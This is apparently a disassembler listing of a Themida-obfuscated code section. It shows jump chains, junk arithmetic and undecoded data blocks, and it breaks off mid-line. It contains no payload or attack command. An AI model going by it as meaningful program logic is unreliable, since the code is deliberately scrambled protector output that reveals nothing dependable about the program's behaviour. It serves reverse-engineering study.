CODE XREF: Themida_:005100E8j pop ecx pop dword ptr [esp] mov esp, [esp] rol dword ptr [esp], cl pushf jmp loc_50EFF8 ; --------------------------------------------------------------------------- dw 1DBBh dd 31321C62h, 0CB815EF3h, 4CBF68D0h, 4B48BE56h, 30E92CC1h dd 33000017h, 0C31240Ch, 240C3324h, 0FFE32AE9h, 7071BDFFh dd 0C581598Ah, 73364C8Ah, 6CFCED81h, 0EF298D7Fh, 81242C8Bh dd 4C4h, 81CF0100h, 414FFFC7h, 0B9EF813Fh, 68595F5Eh, 418Fh dd 55241489h, 437DABDh, 52D5F77Ch, 272A9CBAh, 8BD52103h dd 0C4812414h, 4, 4FE3F581h, 0C5810551h, 2075D9CEh, 895F5557h dd 2C8B5FFAh, 4C48124h, 81000000h, 9A056AC7h, 2890E903h dd 0EB810000h, 59D87060h, 5F2434FFh, 4C481h, 0EC830000h dd 24348904h, 4EC81h, 3C890000h, 6045E924h, 0BE56FFFFh dd 1AE72EF5h, 0FFA865E9h, 3C6A35FFh, 67E949E1h, 89FFFFB3h dd 4832424h, 0C8B0424h, 4C48324h, 4C181h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50BADA ; --------------------------------------------------------------------------- dw 0EABAh dd 17F5F44h, 0B7E95AD0h, 0E9000078h, 0FFFF39E5h, 0E95DEE01h dd 0FFFFCB23h ; --------------------------------------------------------------------------- loc_517C08: ; CODE XREF: Themida_:00512134j mov edi, 4 add edx, edi mov edi, [esp] add esp, 4 jmp loc_50EEAA ; --------------------------------------------------------------------------- aXaFss db '(X(fS',0 aT db 't',0 db 0 ; --------------------------------------------------------------------------- loc_517C27: ; CODE XREF: Themida_:0051641Fj add esp, 4 push ebp mov ebp, 3C30108Ah push ecx mov ecx, 3D3B288Dh add ecx, 0EA87E49Eh xor ebp, ecx jmp loc_518B0D ; --------------------------------------------------------------------------- dw 0C581h dd 5FCF56C5h, 0FFC14EE9h, 0FBD55FFh, 0F770DD56h, 4EDC1DDh dd 646EF581h, 0ED81541Fh, 300F2007h, 0BDEEED81h, 0EB310F43h dd 81242C8Bh, 4C4h, 0E3814B00h, 683B2E7Dh, 0FF6E42E9h dd 3BC581FFh, 57726675h, 0FF8174E9h, 7C0166FFh, 33E90224h dd 56000033h, 0FF7677E9h db 0FFh ; --------------------------------------------------------------------------- loc_517CA1: ; CODE XREF: Themida_:0050BC3Cj push dword ptr [esp] pop edx jmp loc_50D3A5 ; --------------------------------------------------------------------------- dw 0CF88h dd 885BFC88h, 7AD4E9E3h, 54BEFFFFh, 81751764h, 0ED55E8E6h dd 0F6814E4Dh, 10094FE7h, 0F681D6F7h, 0A611D769h, 815EF209h dd 1C2h, 0CDEA8100h, 1BCE7A7h, 24148BD7h, 3304C483h, 3C31243Ch dd 1268E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_517CF2: ; CODE XREF: Themida_:00512D19j pop esp jmp loc_512E65 ; --------------------------------------------------------------------------- dd 7FFFF381h, 0DA896C88h, 3CBE565Bh, 81753676h, 0A62649F6h dd 0C2F68178h, 0E9573542h, 15EBh ; --------------------------------------------------------------------------- loc_517D18: ; CODE XREF: Themida_:0050D11Aj push 572D4EFBh pop edi jmp loc_520E90 ; --------------------------------------------------------------------------- loc_517D23: ; CODE XREF: Themida_:00511930j pop dword ptr [esp] pop esp jmp loc_51639E ; --------------------------------------------------------------------------- dd 0F4E95059h, 1FFFF61h, 0B6C381F3h, 0E938F75Ah, 0FFFF4A4Ah ; --------------------------------------------------------------------------- loc_517D40: ; CODE XREF: Themida_:005118C0j add esp, 4 jmp loc_50B5E5 ; --------------------------------------------------------------------------- loc_517D4B: ; CODE XREF: Themida_:005190AEj push 22BF0FAEh jmp loc_51A437 ; --------------------------------------------------------------------------- loc_517D55: ; CODE XREF: Themida_:005136FFj mov [esp], ecx mov ch, 9Bh sub ch, 0CAh sub al, ch pop ecx add al, dl push cx mov ch, 0D1h add al, ch pop cx sub al, 0Eh pop edx push 154Dh mov [esp], ecx jmp loc_512986 ; --------------------------------------------------------------------------- dw 15BAh dd 8154437Dh, 4B191CE2h, 4ADAF766h, 0EA81DAF7h, 44431911h dd 0B3E9D701h, 0B9FFFF8Fh, 4979FA5Fh, 5E45C781h, 62E93C80h dd 87FFFFD4h, 565C241Ch, 0C6815E54h, 4, 4B850h, 0EE810000h dd 1CC01DBh, 0BD55C601h, 5DD10F80h, 56EAB951h, 0C1E942C2h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_517DD3: ; CODE XREF: Themida_:0050E9E7j mov ebp, 62AD437Fh inc ebp add ebp, 0A11DE75h or esi, ebp pop ebp and esi, 6BC97EB2h sub esi, 5BFFD866h add eax, 3DEE5678h sub eax, esi sub eax, 3DEE5678h pop esi jmp loc_51A5E1 ; --------------------------------------------------------------------------- loc_517E00: ; CODE XREF: Themida_:0051F098j pop edi xor ecx, [esp] jmp loc_512D13 ; --------------------------------------------------------------------------- loc_517E09: ; CODE XREF: Themida_:00519ED9j sub ebx, 0FFFFFFFFh add ebx, 0B53FC479h jmp loc_5146B7 ; --------------------------------------------------------------------------- loc_517E17: ; CODE XREF: Themida_:00517121j pop ebx push dword ptr [esp] pop eax push ebx jmp loc_51E8C8 ; --------------------------------------------------------------------------- aIusY db 'Y',0 dd 0C0BF5700h, 810066C9h, 0D35DADEEh, 81FE2959h, 0D35DADC6h dd 28E95F59h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_517E43: ; CODE XREF: Themida_:0050D4C5j mov [esp], esi push ebx push esi mov esi, 408537F8h push ebx jmp loc_50F5CF ; --------------------------------------------------------------------------- db 89h dd 0BB53240Ch, 2E9A3B6Fh, 9A3B6DB9h, 8BD9312Eh, 0C481241Ch dd 4, 5239C781h, 0EF8169EAh, 3F0901A3h, 14E9CF01h db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517E7F: ; CODE XREF: Themida_:00515852j pop edx add esp, 4 sub eax, 0F666335h sub eax, 10407FA7h add eax, 4D906675h push ebp mov ebp, 68B8218Ah jmp loc_50ECB4 ; --------------------------------------------------------------------------- dd 83AF180h, 0F38059CBh, 0E9506647h, 0FFFFDFAEh, 4C681h dd 0EE810000h, 4, 0FFC28DE9h, 48B66FFh, 0E5E95224h, 8BFFFFB0h dd 0C4812414h, 4, 0E95BD801h, 0FFFF434Ah, 0E904C583h, 8679h dd 3CDE68h, 241C8900h, 0FD88C788h, 48B665Bh, 2C48124h dd 68000000h, 73Fh, 0B2241489h, 34E953C2h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517F0B: ; CODE XREF: Themida_:00515D50j mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp and ecx, edi mov edi, [esp] push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_518E0F ; --------------------------------------------------------------------------- dw 0C729h dd 24048B58h, 4C481h, 0B8500000h, 0BEA190Fh, 7926D225h dd 26970564h, 0C7319379h, 0FF5DB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_517F55: ; CODE XREF: Themida_:0051A65Ej add ecx, 24DC2B0Eh add ecx, edi sub ecx, 24DC2B0Eh mov edi, [esp] push ebx mov ebx, esp push ebp mov ebp, 0D43078Ah jmp loc_50CDF4 ; --------------------------------------------------------------------------- dd 6C99EF81h, 0C8B7629h, 4DB06824h, 2C890000h, 81E58924h dd 4C5h, 745CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517F92: ; CODE XREF: Themida_:005174D7j not eax xor eax, 737A0739h add eax, 0A872A619h mov esi, eax pop eax shr esi, 6 jmp loc_50F02D ; --------------------------------------------------------------------------- db 68h, 0B4h, 4Ah dd 0E95A3B93h, 0FFFF8952h, 5351F381h, 0D82979B0h, 7AEF815Bh dd 103EA1Eh, 7AC781C7h, 5803EA1Eh, 4C781h, 3C870000h, 0EC835C24h dd 241C8904h, 2BE9E389h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_517FE3: ; CODE XREF: Themida_:0051199Cj pop edx xor ecx, esi mov esi, [esp] add esp, 4 add eax, ecx pop ecx push 449h mov [esp], edi mov edi, 5DF84F98h xor edi, 57F46906h push ecx mov ecx, 0A0C269Ah jmp loc_511884 ; --------------------------------------------------------------------------- dd 82E9DDF7h, 68000004h, 3B75h, 0FF241C89h, 0B9E92434h dd 56000022h, 3562E3BEh, 8BF73140h, 37E92434h, 8BFFFF72h dd 0C481241Ch, 4, 8B243487h, 0C892424h, 0E9595424h, 0FFFFCC6Eh ; --------------------------------------------------------------------------- loc_518050: ; CODE XREF: Themida_:00510C41j not dword ptr [esp] jmp loc_50FAAC ; --------------------------------------------------------------------------- dd 0C159CF29h, 0BE5604EFh, 76D95DE1h, 0F37BD55h, 81456FB3h dd 644B67E5h, 0EFF5814Fh, 29071656h, 0F7315DEEh, 1E42E9h dd 80CCFE00h, 0F4801FECh, 8BE328D9h, 0A2E92404h, 5A000054h dd 81242C8Bh, 4C4h, 98ECE900h, 0E909FFFFh, 0FF7F6CE9h dd 39BA52FFh, 3183C166h, 8369E9D5h, 0FD880000h, 17ED805Bh dd 3DE9E828h, 0E900000Ah, 0FFFF351Dh ; --------------------------------------------------------------------------- loc_5180C8: ; CODE XREF: Themida_:0051B413j mov [esp], ebp push 3DC4h mov [esp], esi push 77644645h pop esi sub esp, 4 mov [esp], edi mov edi, 50C35122h push edi dec dword ptr [esp] pop edi xor edi, 53752717h add esi, 0CA9339Dh add esi, edi jmp loc_51E7CA ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFEEF1h, 0EC835966h, 240C8904h, 0C58060B5h dd 59E80005h, 66CDB753h, 20B4B551h, 0C05966EFh, 0F78002EFh dd 8F87E939h, 48B0000h, 4C48124h, 0E9000000h, 0FFFFEFA8h dd 4EC81h, 4890000h, 8968E924h, 0E95CFFFFh, 0FFFF4CD2h dd 360465BDh, 0E5C1454Dh, 301DE902h, 0B0500000h, 8BC630A6h dd 54572404h, 8432E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51816A: ; CODE XREF: Themida_:0051E7D0j pop edi jmp loc_513C00 ; --------------------------------------------------------------------------- loc_518170: ; CODE XREF: Themida_:0051EC95j add ebx, 74DC33D6h pop ebp add esi, ebx pop ebx add esi, 4 jmp loc_518190 ; --------------------------------------------------------------------------- dw 489h dd 6F67E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51818A: ; CODE XREF: Themida_:00511E3Cj pop edx jmp loc_51143B ; --------------------------------------------------------------------------- loc_518190: ; CODE XREF: Themida_:0051817Dj xchg esi, [esp] mov esp, [esp] shr eax, 0Ch jmp loc_5141BC ; --------------------------------------------------------------------------- dw 34FFh dd 0E511E924h, 5954FFFFh, 4C181h, 0B8500000h, 4, 4E7DC181h dd 0C1010729h, 4E7DE981h, 48B0729h, 87FEE924h, 835E0000h dd 3C8904ECh, 0CADEE924h, 31ADFFFFh, 43D168D8h, 3C890000h dd 32D7BF24h, 0BD551748h, 66C81338h, 171DE9h, 4C48300h dd 49E95255h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5181FB: ; CODE XREF: Themida_:0050C6D6j shl esi, 5 shl esi, 4 push edx mov edx, 19EE5000h jmp loc_51E7EF ; --------------------------------------------------------------------------- loc_51820C: ; CODE XREF: Themida_:0051591Cj add eax, ecx pop ecx jmp loc_51A150 ; --------------------------------------------------------------------------- dd 0C262ED81h, 0EE89BF84h, 0E9DEF75Dh, 0FFFF714Eh ; --------------------------------------------------------------------------- loc_518224: ; CODE XREF: Themida_:0050B8E4j push eax mov eax, 6BFE6A3Eh sub eax, 0FB2D0A3Ah jmp loc_50F790 ; --------------------------------------------------------------------------- loc_518234: ; CODE XREF: Themida_:0051B312j mov [esp], edi mov edi, esp jmp loc_517A26 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48124h, 0E9000000h, 0FFFFC069h, 1002E95Fh, 48F0000h dd 24248B24h, 4B30F66h, 82E99C24h, 88FFFF33h, 48B66E3h dd 2C48124h, 0F6000000h, 78E7E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518276: ; CODE XREF: Themida_:0051E09Cj or eax, 35C60C00h sub esp, 4 mov [esp], esi mov esi, 3FBF4BF8h sub eax, esi mov esi, [esp] add esp, 4 xor edi, eax mov eax, [esp] add esp, 4 add eax, edi pop edi jmp loc_51580E ; --------------------------------------------------------------------------- loc_51829E: ; CODE XREF: Themida_:005176E1j push ecx mov ecx, esi mov ebp, ecx jmp loc_51643E ; --------------------------------------------------------------------------- loc_5182A8: ; CODE XREF: Themida_:00510F30j push 6AE471D2h push dword ptr [esp] pop eax jmp loc_518A33 ; --------------------------------------------------------------------------- dw 3487h dd 0E9D6F724h, 0FFFFCDCFh, 68A6392Dh, 58C3291Dh, 0FFFD4AE9h dd 805966FFh, 0FD88B5F7h, 2FE2E9h db 0 ; --------------------------------------------------------------------------- loc_5182D9: ; CODE XREF: Themida_:00520221j sub dl, 18h not dl sub dl, 7 push ecx jmp loc_50C1BF ; --------------------------------------------------------------------------- loc_5182E7: ; CODE XREF: Themida_:0050C785j pop edx xor edx, esi jmp loc_519644 ; --------------------------------------------------------------------------- loc_5182EF: ; CODE XREF: Themida_:0051AC6Bj add ebx, 1A8008h add ecx, ebx pop ebx jmp loc_50EF07 ; --------------------------------------------------------------------------- loc_5182FD: ; CODE XREF: Themida_:0051BD19j xor eax, 1A35FBCFh mov edx, eax pop eax neg edx sub esp, 4 jmp loc_5186DC ; --------------------------------------------------------------------------- loc_518312: ; CODE XREF: Themida_:0050E7A9j sub eax, 50CC3A57h sub eax, 0A0E2806h push dword ptr [esp] pop edx add esp, 4 push 29h mov [esp], esi push ebx push 756C4F24h mov ebx, [esp] jmp loc_51A97A ; --------------------------------------------------------------------------- db 28h, 0E1h, 0E9h dd 0FFFF3659h, 34FFC800h, 89F7E924h, 0C681FFFFh, 4, 0E9243487h dd 0FFFF3CD1h, 2C481h, 89530000h, 4C381E3h, 83000000h dd 1C8704EBh, 4895C24h, 67BD5524h, 0C15EAC55h, 0ED8102E5h dd 2FC33F9Ch, 663FE9h, 0C8B6600h, 1CEF6824h, 0FBE90000h dd 59FFFFF6h, 0C8BCB01h, 4C48124h, 87000000h, 52E9241Ch dd 68000012h, 69Ah, 0B9240C89h, 4, 5059CF01h, 4D1FB951h dd 1BB861EFh, 3161EF4Dh, 0C70159C8h, 8124048Bh, 4C4h, 0F0E95700h dd 28FFFF3Eh, 8B802CC8h, 57E9240Ch, 81FFFFA6h, 4211C7CEh dd 35C68143h, 0E910980Ch, 0FFFF4B5Fh, 177C42BDh, 48EE81F0h dd 1347A4Dh, 3446E9EEh, 59BD0000h, 4565331Eh, 0FFFC98E9h db 0FFh ; --------------------------------------------------------------------------- loc_518411: ; CODE XREF: Themida_:0050D078j xchg eax, [edi+24h] inc eax sub esp, 4 jmp loc_514A05 ; --------------------------------------------------------------------------- loc_518420: ; CODE XREF: Themida_:0051345Dj push ebp mov ebp, 69D61A1Dh shr ebp, 6 add ebp, 0FE58A79Ch jmp loc_511A86 ; --------------------------------------------------------------------------- aGmhk1 db '^GmhK1',0 align 2 dw 2C89h dd 0EC835324h, 24048904h, 5E2FE9h, 0C4835E00h, 4EC8104h dd 89000000h, 0A3E9242Ch, 0FF000024h, 0D3E92434h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518467: ; CODE XREF: Themida_:0051335Fj add ecx, edi jmp loc_51D3AC ; --------------------------------------------------------------------------- loc_51846E: ; CODE XREF: Themida_:00515437j xchg edi, [esp] pop esp or dl, 0EFh not dl sub dl, 0FFh jmp loc_513F06 ; --------------------------------------------------------------------------- aXsa db 'X!',0 dd 0EC815F00h, 4, 0BF243C89h, 26DE0C28h, 0FFD738E9h, 3ABE56FFh dd 8168C467h, 4307E2F6h, 8E6C139h, 0E906EEC1h, 0FFFFC67Ch ; --------------------------------------------------------------------------- loc_5184B0: ; CODE XREF: Themida_:0050CB39j shr ecx, 8 jmp loc_50DAD6 ; --------------------------------------------------------------------------- loc_5184B8: ; CODE XREF: Themida_:0050E1E2j push eax not dword ptr [esp] jmp loc_51CDF7 ; --------------------------------------------------------------------------- loc_5184C1: ; CODE XREF: Themida_:00511207j pop esp jmp loc_5118F8 ; --------------------------------------------------------------------------- loc_5184C7: ; CODE XREF: Themida_:0050CC76j push 28EAh mov [esp], edi push ecx mov ecx, esp add ecx, 4 push 73E9h mov [esp], esi mov esi, 4 jmp loc_520869 ; --------------------------------------------------------------------------- loc_5184EA: ; CODE XREF: Themida_:0051289Bj pop esi jmp loc_5112E9 ; --------------------------------------------------------------------------- dd 74C2815Dh, 0C1487D29h, 0F28103EAh, 76C16F0Fh, 0C281DAF7h dd 5F993DFBh, 5EC7EA81h, 0D301E369h, 0FF7753E9h db 0FFh ; --------------------------------------------------------------------------- loc_518515: ; CODE XREF: Themida_:0050F33Bj mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 jmp loc_5123BC ; --------------------------------------------------------------------------- align 2 dw 2404h dd 30AFE99Ch, 81ACFFFFh, 4ECh, 24148900h, 250D68h, 0DC9AE900h dd 0C381FFFFh, 149040F7h, 6AE9CB01h, 0B9FFFF44h, 4, 4244C01h dd 0C7E95A59h, 8300000Eh, 3C8904ECh, 10DABF24h, 23E92DCAh dd 81FFFF69h, 0CF1FBACBh, 5944E950h, 3487FFFFh, 0E9505C24h dd 0FFFFA612h, 5303EFC1h, 1105BF57h, 81472BFAh, 0B522C6EFh dd 81D7F71Bh, 0A61E39EFh, 0E6EF816Dh, 898A92B6h, 0EF815FFBh dd 630A383Fh, 0FFD907E9h, 24248BFFh, 0F68E1F7h, 8900000Eh dd 8B54241Ch, 8957241Ch, 0CD4CE9E7h, 0C483FFFFh, 300BE904h dd 0CF29FFFFh, 6F7BC781h, 6EE9598Dh, 28FFFFB0h, 5A7204D0h dd 71B65266h, 5A66F028h, 26766852h, 4890000h, 0E931B424h dd 0FFFF7A1Dh ; --------------------------------------------------------------------------- loc_518604: ; CODE XREF: Themida_:0051CC48j mov edx, 5ED1676Ah dec edx push eax mov eax, 1D6B104Ah sub eax, 169BD587h xor edx, eax mov eax, [esp] add esp, 4 jmp loc_513758 ; --------------------------------------------------------------------------- db 0B1h, 0C0h, 28h dd 240C8BCBh, 0E9E18951h, 0FFFF31ABh ; --------------------------------------------------------------------------- loc_518634: ; CODE XREF: Themida_:00520AC6j or ecx, 1B251467h add ecx, 2A7F58E9h sub ecx, 124D38DEh not ecx and ecx, 55345FBEh xor ecx, 3058016Ah xor edi, ecx pop ecx push edx mov edx, 0FFFFFFFFh sub edi, 7E40FFFh add edi, edx add edi, 7E40FFFh push dword ptr [esp] pop edx add esp, 4 jmp loc_5136AF ; --------------------------------------------------------------------------- db 42h dd 2CE4C281h, 0D0014CCAh, 4F3FE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518686: ; CODE XREF: Themida_:00512521j not ebp add ebp, 1F86DC83h add ecx, ebp pop ebp add ecx, edi sub ecx, 635B5D29h jmp loc_50CB07 ; --------------------------------------------------------------------------- dw 0C140h dd 316803E8h, 89000043h, 0E6BB241Ch, 8108443Bh, 0BD7F08CBh dd 5EBC148h, 0FF7520E9h, 4443B9FFh, 87512AD6h, 0D1F7240Ch dd 0FFE879E9h, 685558FFh, 2A54337Ah, 0E9EA315Dh, 0FFFF305Bh ; --------------------------------------------------------------------------- loc_5186DC: ; CODE XREF: Themida_:0051830Dj mov [esp], ebp push edi push ebp jmp loc_51B7C6 ; --------------------------------------------------------------------------- loc_5186E6: ; CODE XREF: Themida_:0051E7A9j pop ebp jmp loc_51328B ; --------------------------------------------------------------------------- dd 3EE9FB01h, 5B000000h, 5F2434FFh, 0E9E38953h, 0FFFF2F9Eh ; --------------------------------------------------------------------------- loc_518700: ; CODE XREF: Themida_:005193F5j pop ecx add esp, 4 add ebx, eax pop eax push edi mov edi, 4 add ebx, edi pop edi sub esp, 4 mov [esp], ebx jmp loc_51F1C9 ; --------------------------------------------------------------------------- loc_51871E: ; CODE XREF: Themida_:005107FDj pop esp mov [esp], ebp mov ebp, 5DE361BAh push 6A5Bh jmp loc_51BF7B ; --------------------------------------------------------------------------- a_sl_ db '__',0 dw 8300h dd 0C8904ECh, 44BF5724h, 0F702DD38h, 7E7C1D7h, 40FE781h dd 0E3E95AD9h, 6Ch, 5787E9F0h, 94BD0000h, 5744E04Eh, 1BFh dd 0E9FD0100h, 0FFFF9D37h ; --------------------------------------------------------------------------- loc_51876C: ; CODE XREF: Themida_:00510D31j add ebp, 3B9B19EAh add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp] pop esp add ecx, 4 xchg ecx, [esp] jmp loc_510DA1 ; --------------------------------------------------------------------------- loc_51878D: ; CODE XREF: Themida_:0051D593j add esp, 4 jmp loc_50D832 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi jmp loc_51B57F ; --------------------------------------------------------------------------- dd 3E44F781h, 0F7811AABh, 7FD18BE5h, 24048157h, 7DC42754h dd 54E98159h, 5F7DC427h, 9CCFE981h, 0CD890B18h, 0E9240C8Bh dd 42D0h ; --------------------------------------------------------------------------- loc_5187D4: ; CODE XREF: Themida_:0051D792j mov esp, [esp] jmp loc_5139F5 ; --------------------------------------------------------------------------- loc_5187DC: ; CODE XREF: Themida_:0050BAEAj mov [esp], ebx push 2 pop ebx push esi mov esi, 65709A9h add ecx, 7F732517h add ecx, esi sub ecx, 7F732517h pop esi add ecx, ebx push esi push 4A1E4F8Dh pop esi push ebp mov ebp, 21126851h add esi, ebp pop ebp jmp loc_520CFC ; --------------------------------------------------------------------------- db 0ACh, 30h, 0D8h dd 4EC81h, 14890000h, 51F0B624h, 0FFF23CE9h, 240401FFh dd 2DB7E99Ch, 1489FFFFh, 4BA24h, 0D3010000h, 241C875Ah dd 5124248Bh, 4B9h, 1C07E900h, 815A0000h, 0C9554CC3h, 81C3013Dh dd 0C9554CEBh, 0B8503Dh, 1000000h, 4AA4E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518866: ; CODE XREF: Themida_:0051EF67j push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_50D7E5 ; --------------------------------------------------------------------------- db 5Ah dd 0E92434FFh, 0FFFF3F29h, 0FECC8850h, 0E9E188C4h, 50E3h ; --------------------------------------------------------------------------- loc_518890: ; CODE XREF: Themida_:0051CB9Bj mov eax, 59F65268h jmp loc_5151BE ; --------------------------------------------------------------------------- dw 5B54h dd 7D9FBE56h, 0E6C14A15h, 40CE8106h, 8141CD40h, 7B0FE7E6h dd 4CC68120h, 4E15D112h, 0FFD214E9h db 0FFh ; --------------------------------------------------------------------------- loc_5188BD: ; CODE XREF: Themida_:00519C6Bj mov ebx, 36F50CBBh push 0 sub dword ptr [esp], 122794Dh sub [esp], ebx push esi jmp loc_514438 ; --------------------------------------------------------------------------- db 89h dd 27BF243Ch, 81480C34h, 0D008246Ch, 2904D732h, 0E908247Ch dd 0FFFF44ABh, 240C8B5Eh, 2104C483h, 9E1EE9EBh, 0EA80FFFFh dd 6CC28064h, 5AD528h, 240C8BE8h, 5304C483h, 1072E9h, 56535800h dd 4521BF57h, 0C7814026h, 599C3ABFh, 0CFCE9h, 0C7895E00h dd 5FFD0158h, 8124048Bh, 4C4h, 96D7E900h, 0EB31FFFFh, 0E9242C8Bh dd 5E31h ; --------------------------------------------------------------------------- loc_518948: ; CODE XREF: Themida_:00518CA5j add edi, esi pop esi jmp loc_51B6E3 ; --------------------------------------------------------------------------- loc_518950: ; CODE XREF: Themida_:0050F8EAj sub esi, ebx pop ebx jmp loc_51EE68 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFA0E8h, 0DE87D3F7h, 0F7E2E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51896A: ; CODE XREF: Themida_:0051D7E0j push esi jmp loc_50FC0F ; --------------------------------------------------------------------------- aZ4Si db '[4$}',0 dd 0E9D72900h, 5721h, 8324048Bh, 64E904C4h, 59000034h dd 50E78957h, 0AC3D68B8h, 57D8F709h, 0FFEBA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_51899D: ; CODE XREF: Themida_:00511A4Ej mov edx, 206E2BB6h jmp loc_51AE94 ; --------------------------------------------------------------------------- db 1 dd 2434FFF8h, 5E54565Fh, 4C681h, 0C6810000h, 4, 5C243487h dd 8704E883h, 895C2404h, 6866240Ch, 896631FCh, 0D2B42404h dd 8B66E188h, 0C4832404h, 80D1F602h, 0C3805BC1h, 80CB2877h dd 34FF77EBh, 240C8B24h, 0FFC167E9h, 0E38953FFh, 4C381h dd 28E90000h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_518A03: ; CODE XREF: Themida_:0051698Fj pop esp pop dword ptr [esp] jmp loc_50F7F4 ; --------------------------------------------------------------------------- loc_518A0C: ; CODE XREF: Themida_:00514618j add ebx, eax pop eax and eax, ebx jmp loc_518DEE ; --------------------------------------------------------------------------- dw 5653h dd 4C6A7BBEh, 0CD2CE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518A22: ; CODE XREF: Themida_:0051B89Ej push edx mov edx, 35194E89h and edx, 1ED3183Fh jmp loc_514277 ; --------------------------------------------------------------------------- loc_518A33: ; CODE XREF: Themida_:005182B1j add esp, 4 push 4F35h jmp loc_5154FA ; --------------------------------------------------------------------------- loc_518A43: ; CODE XREF: Themida_:0050E2EFj sub esp, 4 mov [esp], eax push dword ptr [esp+4] jmp loc_512058 ; --------------------------------------------------------------------------- loc_518A55: ; CODE XREF: Themida_:005203BAj sub ecx, 4E923A14h xor ecx, 3004558Eh jmp loc_50DD4D ; --------------------------------------------------------------------------- dw 28Fh dd 1907E9h, 1126800h, 0C890000h, 2474FF24h, 240C8B04h dd 5E08950h, 4, 405h, 7527E900h, 0BF57FFFFh, 4, 835FFE01h dd 0E95604C6h, 0FFFF8A98h ; --------------------------------------------------------------------------- loc_518AA0: ; CODE XREF: Themida_:0051C5D5j shl bh, 6 shl bh, 7 jmp loc_5136E6 ; --------------------------------------------------------------------------- db 68h dd 5C82h, 0BB241C89h, 487222F9h, 0E955D3F7h, 0FFFF8784h dd 0C381EB01h, 704D0654h, 83242C8Bh, 0C38104C4h, 4, 274068h dd 241C8900h, 42474FFh, 83241C8Bh, 48F04C4h, 8D5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_518AEE: ; CODE XREF: Themida_:00520892j pop eax jmp loc_515F7F ; --------------------------------------------------------------------------- dd 8B59C828h, 0E951241Ch, 0FFFFF6A6h, 68F02859h, 138Eh dd 0FF87ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_518B0D: ; CODE XREF: Themida_:00517C41j pop ecx sub ebp, 7BEB67B0h push ebx jmp loc_517518 ; --------------------------------------------------------------------------- dw 0E2C1h dd 28F28104h, 81418740h, 0CA50B4EAh, 0A0EA817Bh, 1D6AE51h dd 0EB815AD3h, 4, 0E9241C87h, 6620h, 66EB8766h, 3166DDF7h dd 0DD3166EBh, 66EB3166h, 0F381664Bh, 316641FFh, 89665BDDh dd 795CE9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_518B62: ; CODE XREF: Themida_:00521000j mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], eax push ecx mov ecx, 47327738h mov eax, ecx jmp loc_520DF9 ; --------------------------------------------------------------------------- loc_518B8A: ; CODE XREF: Themida_:0050DA3Bj and eax, ebx mov ebx, [esp] add esp, 4 or edx, eax shl edx, 1 sub esp, 4 mov [esp], ebx jmp loc_50DEDF ; --------------------------------------------------------------------------- a_sa1 db '_1',0 align 2 dw 0D501h dd 8124148Bh, 4C4h, 242C3300h, 33242C31h, 665C242Ch, 9C2424D3h dd 0FF2A1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_518BC9: ; CODE XREF: Themida_:0051D0F0j sub esi, ebp jmp loc_51A4D8 ; --------------------------------------------------------------------------- loc_518BD0: ; CODE XREF: Themida_:00512397j sub esp, 4 mov [esp], eax mov eax, 4 push edi mov edi, 7060622Ah add edi, 0CD5D0121h push edx mov edx, 3CB61C91h jmp loc_5194FF ; --------------------------------------------------------------------------- db 81h, 0EDh, 4 dd 87000000h, 895C242Ch, 4BE2434h, 0E9000000h, 0FFFF65ACh ; --------------------------------------------------------------------------- loc_518C0C: ; CODE XREF: Themida_:00510298j mov esi, 44E64BA6h push ebx push edi mov edi, 2DD50D96h sub edi, 0A28AE41h mov ebx, edi pop edi and esi, ebx pop ebx add esi, 0FFFFFFFFh jmp loc_5208FA ; --------------------------------------------------------------------------- loc_518C2F: ; CODE XREF: Themida_:0051C07Bj mov ecx, [esp] add esp, 4 jmp loc_51ED6E ; --------------------------------------------------------------------------- dw 8B54h dd 0C483240Ch, 2B136804h, 41E90000h, 83FFFFC9h, 63E904EAh dd 57000083h, 0FF3797E9h, 9C5166FFh, 0FF2984E9h, 255BB8FFh dd 0C5316673h, 0FCD0E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_518C6E: ; CODE XREF: Themida_:0050C95Ej mov [esp], eax jmp loc_51A86A ; --------------------------------------------------------------------------- dw 8B66h dd 5BE9240Ch db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_518C7F: ; CODE XREF: Themida_:00519B48j sub ebx, ebp pop ebp push 418Ch mov [esp], ebx pop edx mov ebx, [esp] push edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_518948 ; --------------------------------------------------------------------------- loc_518CAA: ; CODE XREF: 